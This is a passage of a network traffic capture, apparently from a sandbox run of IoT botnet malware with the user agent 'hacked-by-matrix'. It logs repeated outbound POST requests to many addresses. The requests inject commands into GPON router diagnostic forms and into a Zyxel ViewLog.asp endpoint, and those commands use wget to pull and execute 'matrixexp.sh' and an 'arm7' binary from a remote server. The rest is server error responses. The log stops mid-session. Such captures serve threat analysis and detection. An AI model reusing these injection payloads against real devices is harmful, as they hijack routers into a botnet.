09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area */#content {padding: 10px;background: #ffffff
Mar 21, 2024 05:26:25.012331963 CET	1286	IN	Data Raw: 3b 0a 7d 0a 0a 2f 2a 20 47 65 6e 65 72 61 6c 20 74 65 78 74 20 2a 2f 0a 70 20 7b 0a 7d 0a 0a 2f 2a 20 65 72 72 6f 72 20 62 72 69 65 66 20 64 65 73 63 72 69 70 74 69 6f 6e 20 2a 2f 0a 23 65 72 72 6f 72 20 70 20 7b 0a 7d 0a 0a 2f 2a 20 73 6f 6d 65 Data Ascii: ;}/* General text /p {}/ error brief description /#error p {}/ some data which may have caused the problem /#data {}/ the error message received from the system or other software */#sysmsg {}pre { font-family:sans-
Mar 21, 2024 05:26:25.012379885 CET	853	IN	Data Raw: 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 69 73 20 69 6e 63 6f 72 72 65 63 74 2e 3c 2f 70 3e 20 20 3c 70 3e 53 6f 6d 65 20 70 6f 73 73 69 62 6c 65 20 70 72 6f 62 6c 65 6d 73 20 61 72 65 3a 3c 2f 70 3e 20 3c 75 6c 3e 20 3c 6c 69 3e 3c 70 Data Ascii: he requested URL is incorrect.</p> <p>Some possible problems are:</p> <ul> <li><p>Missing or incorrect access protocol (should be <q>http://</q> or similar)</p></li> <li><p>Missing hostname</p></li> <li><p>Illegal double-escape in the URL-Pat

Session ID	Source IP	Source Port	Destination IP	Destination Port
976	192.168.2.23	38340	23.66.165.186	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:24.891568899 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:25.012667894 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Thu, 21 Mar 2024 04:26:24 GMT Date: Thu, 21 Mar 2024 04:26:24 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 35 30 35 63 36 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 31 38 34 26 23 34 36 3b 32 33 61 66 30 35 30 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.a505c617.1710995184.23af050</BODY></HTML>
Mar 21, 2024 05:26:25.557576895 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Thu, 21 Mar 2024 04:26:24 GMT Date: Thu, 21 Mar 2024 04:26:24 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 35 30 35 63 36 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 31 38 34 26 23 34 36 3b 32 33 61 66 30 35 30 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.a505c617.1710995184.23af050</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
977	192.168.2.23	34114	206.233.251.216	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:24.898448944 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:26.511522055 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
978	192.168.2.23	46144	181.49.31.197	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:24.977545023 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:25.904437065 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:26.956311941 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
979	192.168.2.23	33298	206.217.142.122	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:25.162369967 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:25.291359901 CET	914	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:26:25 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33 Content-Length: 217 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 36 3a 32 35 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 20 28 43 65 6e 74 4f 53 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 30 2e 32 6b 2d 66 69 70 73 20 50 48 50 2f 37 2e 34 2e 33 33 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:26:25 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
980	192.168.2.23	44184	178.227.21.160	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:25.252228975 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
981	192.168.2.23	53700	5.29.62.36	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:25.252228975 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
982	192.168.2.23	44678	79.70.223.74	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:25.252254009 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
983	192.168.2.23	37272	79.124.154.226	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:25.252254963 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
984	192.168.2.23	59078	37.38.6.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:25.252290010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
985	192.168.2.23	51402	42.29.32.222	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:25.252307892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
986	192.168.2.23	43172	118.136.241.240	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:25.252310991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
987	192.168.2.23	47680	5.138.46.99	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:25.252341032 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
988	192.168.2.23	38864	94.137.54.240	443

Timestamp	Bytes transferred	Direction	Data
